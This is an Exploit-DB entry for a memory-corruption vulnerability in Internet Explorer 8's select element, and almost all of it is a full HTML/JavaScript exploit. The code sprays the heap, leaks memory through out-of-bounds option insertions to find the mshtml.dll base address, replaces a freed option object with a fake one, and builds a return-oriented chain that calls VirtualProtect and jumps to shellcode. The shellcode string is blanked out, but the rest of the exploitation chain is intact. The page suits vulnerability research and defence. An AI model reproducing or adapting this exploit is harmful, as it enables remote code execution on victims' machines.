Microsoft Internet Explorer 8 - Select Element Memory Corruption

EDB-ID:

36209




Platform:

Windows

Date:

2011-10-11


source: https://www.securityfocus.com/bid/49964/info

Microsoft Internet Explorer is prone to a remote memory-corruption vulnerability.

Successful exploits will allow an attacker to run arbitrary code in the context of the user running the application. Failed attacks may cause denial-of-service conditions. 

<html>
<head>
</head>

<body>


<script type="text/javascript">
<!--

//originally, windows 7 compatible calc.exe shellcode from SkyLined
var scode = "removed";

var newstack,newstackaddr;
var fakeobj;

var spray,spray2,selarray,readindex,readaddr,optarryaddr;
var elms = new Array();

var optarray;

var mshtmlbase;

//option object that is to be corrupted
var corruptedoption;
var corruptedoptionaddr;
var corruptaddr;

function strtoint(str) {
    return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);
}

function inttostr(num) {
    return String.fromCharCode(num%65536,Math.floor(num/65536));
}

function crash() {
    var o = new Option();
    selarray[99].options.add(o,-0x20000000);
}

function readmem(addr) {
    if(addr < readaddr) alert("Error, can't read that address");
    return strtoint(spray[readindex].substr((addr-readaddr)/2,2));
}

function readmem2(addr,size) {
    if(addr < readaddr) alert("Error, can't read that address");
    return spray[readindex].substr((addr-readaddr)/2,size/2);
}

function overwrite(addr) {
    try {
        var index = (addr-optarryaddr)/4 - 0x40000000;
        selarray[99].options.add(optarray.pop(),index);
    } catch(err) {}   
}

function getreadaddr() {
    readaddr = 0;
    var indexarray = new Array();
    var tmpaddr = 0;
    var i,index;
    
    index = readmem(tmpaddr);
    indexarray.push(index);
    
    while(1) {
        tmpaddr += 0x100000;
        index = readmem(tmpaddr);
        for(i=0;i<indexarray.length;i++) {
            if(indexarray[i]==index+1) {
                readaddr = readmem(tmpaddr-0x24)-i*0x100000+0x24;
                return 1;
            } else if(indexarray[i]==index-1) {
                readaddr = readmem(tmpaddr-0x20)-i*0x100000+0x24;
                return 1;               
            }
        }
        indexarray.push(index);
    }
}

//leverages the vulnerability into memory disclosure
function initread() {
    //overwrite something in a heap spray slide
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4);
    } catch(err) {}
    
    //now find what and where exectly did we overwrite
    readindex = -1;
    var i;
    for(i=1;i<200;i++) {
        if(spray[0].substring(2,spray[0].length-2)!=spray[i].substring(2,spray[0].length-2))
{
            readindex = i;
            break;
        }
    }

    if(readindex == -1) {
        alert("Error overwriring first spray");
        return 0;
    }

    var start=2,len=spray[readindex].length-2,mid;
    while(len>10) {
        mid = Math.round(len/2);
        mid = mid - mid%2;
        if(spray[readindex].substr(start,mid) !=
spray[readindex-1].substr(start,mid)) {
            len = mid;
        } else {
            start = start+mid;
            len = len-mid;
            //if(spray[readindex].substr(start,mid) ==
spray[readindex-1].substr(start,mid)) alert("error");
        }
    }
    
    for(i=start;i<(start+20);i=i+2) {
        if(spray[readindex].substr(i,2) != spray[readindex-1].substr(i,2)) {
            break;
        }
    }
    
    //overwrite the string length
    try {
        selarray[99].options.add(optarray.pop(),-100000000/4-i/2-1);
    } catch(err) {}
       
    if(spray[readindex].length == spray[readindex-1].length) alert("error
overwriting string length");
    
    //readaddr = strtoint(spray[readindex].substr((0x100000-4-0x20+4)/2,2))+0x24;
    getreadaddr();
    
    optarryaddr = readaddr + 100000000 + i*2;

    return 1;   
}

function trysploit() {
    //create some helper objects
    for(var i =0; i < 100; i++) {
        elms.push(document.createElement('div'));
    }

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[70].text;

    //overwrite the CTreeNode pointer
    overwrite(corruptaddr);
    //read the address of the option object we overwrited with
    var optadr = readmem(corruptaddr);
    //delete the option object...
    selarray[99].options.remove(0);
    
    CollectGarbage();
    
    //...and allocate some strings in its place
    for(var i = 0; i < elms.length; i++) {
        elms[i].className = fakeobj;
    }

    //verify we overwrote the deleted option object successfully
    if(readmem(optadr) != strtoint(fakeobj.substr(0,2))) return 0;

    alert("success, calc.exe should start once you close this message box");

    //now do something with the corrupted option object
    corruptedoption.parentNode.click();
}

function hs() {
    
    //first heap spray, nop slide + shellcode   
    spray = new Array(200);
    var pattern = unescape("%u0C0C%u0C0C");
    while(pattern.length<(0x100000/2)) pattern+=pattern;
    pattern = pattern.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray[i] = [inttostr(i)+pattern+scode].join("");
    }

    //fill small gaps, we wan everything _behind_ our heap spray so that
we can read it
    var asmall = new Array(10000);
    pattern = "aaaa";
    while(pattern.length<500) pattern+=pattern;
    for(var i=0;i<10000;i++) {
        asmall[i]=[pattern+pattern].join("");
    }
    
    //create some select and option elements
    selarray = new Array(100);
    for(var i=0;i<100;i++) {
        selarray[i] = document.createElement("select");
        for(var j=0;j<100;j++) {
            var o = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
            selarray[i].options.add(o,0);
        }
    }
    
    //create some extra option elements
    optarray = new Array(10000);
    for(var i=0;i<10000;i++) {
        optarray[i] = new Option("oooooooooooooooooo","ooooooooooooooooooooo");
    }
    
    //enable memory disclosure
    if(initread()==0) return;

    //force the option cache to rebuild itself
    var tmp1 = selarray[99].options[60].text;
    
    //get the address of some option element to be corrupted, also remove
it from its select element, we don't want anything else messing with
it
    corruptedoptionaddr = readmem(optarryaddr+60*4);
    corruptedoption = selarray[99].options[60];
    selarray[99].options.remove(60);
    
    //get the base address of mshtml.dll based on the vtable address
inside the option object
    mshtmlbase = readmem(corruptedoptionaddr)-0xFC0C0;
    alert("base address of mshtml.dll : " + mshtmlbase.toString(16));

    //we'll overwrite the pointer to the CTreeNode object, compute its address
    corruptaddr = corruptedoptionaddr+0x14;

    //second heap-spray, this one will act as a stack (we'll exchange
stack pointer with a pointer into this)
    spray2 = new Array(200);   

    //some address that is likely to be inside the "stack"
    newstackaddr = optarryaddr+100000000;
    newstackaddr-=newstackaddr%0x1000;
    newstackaddr+=0x24;

    //assemble the "stack" so that it calls VirtualProtect on the firs
shellcode and then jumps into it through return-oriented-programming
    newstack = inttostr(newstackaddr+0x10)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(newstackaddr+0x14)+inttostr(mshtmlbase+0x14EF7)+inttostr(mshtmlbase+0x1348)+inttostr(mshtmlbase+0x801E8)+inttostr(readaddr+0x100000-0x24)+inttostr(0x100000)+inttostr(0x40)+inttostr(readaddr+0x1000)+inttostr(readaddr+0x101000)+unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA")+inttostr(mshtmlbase+0x1B43F);
    while(newstack.length<(0x1000/2))
newstack+=unescape("%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA%uAAAA");
    newstack = newstack.substr(0,0x1000/2);
    while(newstack.length<(0x100000/2)) newstack+=newstack;
    newstack = newstack.substr(0,0x100000/2-0x100);
    for(var i=0;i<200;i++) {
        spray2[i] = [newstack].join("");
    }
    
    //constract a fake object which will replace a deleted option object
(it has to be the same size)
    //fakeobj = unescape("%u4141%u4141")+inttostr(newstackaddr)+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    fakeobj = unescape("%u4141%u4141%u4141%u4141")+unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
    
    //loop until we either achieve command execution or fail
    for(var i=0;i<100;i++) {
        trysploit();
    }
    
    alert("Exploit failed, try again");

}


hs();


-->
</script>


</body>
</html>